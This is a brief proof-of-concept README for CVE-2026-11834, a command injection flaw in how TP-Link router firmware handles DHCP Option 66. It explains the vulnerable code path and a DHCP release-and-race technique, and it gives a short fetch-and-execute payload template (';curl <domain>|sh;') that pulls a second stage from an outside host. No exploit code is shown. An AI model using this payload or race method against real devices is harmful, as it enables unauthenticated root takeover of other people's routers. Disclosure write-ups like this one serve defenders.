CVE-2026-11834 (PoC)

TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834)

Overview

A command injection vulnerability (CWE-78) in the DHCP Option 66 ("TFTP Server Name") handling of TP-Link router firmware allows an unauthenticated attacker on the same network segment to execute arbitrary commands as root. When the device acts as a DHCP client on its WAN interface, the Option 66 value returned in a lease is concatenated unsanitised into a tftp shell command within libcmm.so. Five functions build this command and pass it to util_execSystem(), which calls system(), so a crafted Option 66 value is interpreted as shell input and executed as root.

The Option 66 value is truncated to 16 characters on the device, so the payload is a minimal fetch-and-execute (;curl <domain>|sh;) that pulls a larger second stage over HTTP.

The attacker does not need to control the DHCP server. This PoC races the legitimate server on the segment: it spoofs a DHCP RELEASE as the target to clear its binding, waits for the target to re-acquire its lease, then answers the target's broadcast with a malicious / carrying the payload before the legitimate server replies.